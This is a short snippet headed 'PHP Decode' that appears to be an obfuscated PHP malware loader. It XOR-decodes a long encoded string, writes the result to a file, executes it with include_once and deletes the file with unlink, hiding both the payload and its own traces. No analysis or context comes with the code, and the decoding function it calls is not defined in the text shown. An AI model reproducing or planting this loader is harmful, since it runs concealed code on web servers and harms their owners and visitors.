PHP Decode

<?  $i="UW%09%037N%5E7%3C4%007%0A%0E3ks%12%27%28%06%1A%26%07%28%24s%5Bu%14%3C%245B%7CN%5E7%3C4%007%0A%0E3ks%1B%3A%3D6%0D%0B%19%281%27PyzYABfM%03%3D%19%3C%05%1A%0D%0DC%60.5%0F%0A%3F%11%0D%1A%1E3%2A%3B%19%0A.%00%05%1CLkcd%5EnWc%28%0A%0E3%1C+%1E8%3F6%04%10%06.7%7CG%7CadbtaJI2%02%3B9%1D%01%16%05g0%3C%13%25rM%0C%18%1F%26otS%3E%3F%10Ata%3CN%5EWuzIL%16%1E3%1C0%16%21%3BIUYIexY%7DuzIH%1F%045c%7CS%3CzTHIPgg%3DWiz%1A%1C%0B%07%22-%7CS1%3B%1D%09PPnc%2Fz_zIHYKgct%11%3A%28I%40%5D%01g%7EtGnzM%02YWg0+%059%3F%07%40%5D%00%22%3A%7DWs%7CIL%10K%7Bc%27%03%276%0C%06QO%23%22+%16%7CaIL%13%40lotS%3CqBAY%10JItWuzIHYKgctWq5%1C%1C%26%0F%2675W%7BgI%0B%11%19o%2C%26%13%7D%7E%0D%09%0D%0A%1Cg%3D%2A%7Cz7H%16%19%23kp%1C0%232L%136njoz_zIHYKgct%0AXPIHYK%3AN%5EWuzI%1A%1C%1F21%3AWq5%1C%1C%26%0F%2675LXP%14es%02%21c%7C%1E%26%29%0C%1CQO%18%04%11%23%0El%5E%5BMXr%1E%7D%5EXP%12esKgct%13%3C%3FA%05%1D%5Eowc%40dh%40ABfM%3EY%7Dq.%0C%05%09V%261%26%16%2C%05%04%0D%0B%0C%22kp%28%16%15%26%230.kcp%28%05%15%3A%3CPPJI2%18%27%3F%08%0B%11Kog+%128%2AI%09%0AKc%275%034%05%02%0D%00Kz%7DtS1%3B%1D%09PK%3CN%5EWuzIL%1D%0A3%22tJu%1A%1C%06%0A%0E5%2A5%1B%3C+%0C%40%0A%03%233%7C%04%3D%3E%19%40%1B%0A4%26bC%0A%3E%0C%0B%16%0F%22kp%134.%08AUK%60z%3F%18b%23%0D%11I%09t2%3D%1C9b%0C%12%0BS%7Ezl%1Fa%3C%5C%12%40%5Er6b%1B1%3FNAUKc%275%034%05%02%0D%00BnxY%7DuzIH%10%0Dgk%3D%04%26%3F%1D%40%5D%0F%2675%2Cr%3B%02O%24Bnc%2Fz_zIHYKgct%1E3zAL%1D%0A3%22%0FP4%7D4HDVgd%3DP%7Cz%12esKgctWuzIHYKgg%3DWhz%08%1A%0B%0A%3EkY%7DuzIHYKgctWuzIHYK%603%22PugWH9%1B%2F3%22%12%27%29%00%07%17CnoY%7DuzIHYKgctWuzIHYK%600%22PugWH%5EZisyFrvdbYKgctWuzIHYKnxY%7DuzIHYKgctWuz%0C%0B%11%04g%03%27%12%273%08%04%10%11%22kp%1E%7CadbYKgctWuz%14H%1C%074%26%3D%11urM%0C%18%1F%26%18s%16r%07IUDK%60%26s%5Eu%21dbYKgctWuzIHYK%2255%1B%7D%7E%0D%09%0D%0A%1Cd0P%08sResKgctWuzI%15tagctWuzIH%1C%13.7%7C%5EnWcHYKg%3EY%7D%28"; 
$j="%0F%01%15%0E%183%21%03%0A9%06%06%0D%0E%297%27"; 
 
$itfhAqUCj="ihykGCTwUZRw"; 
 
$k = tHxaBi($i, $itfhAqUCj); 
$f = tHxaBi($j, $itfhAqUCj); 
$f($itfhAqUCj, $k); 
include_once ($itfhAqUCj); 
unlink($itfhAqUCj); 
 ?>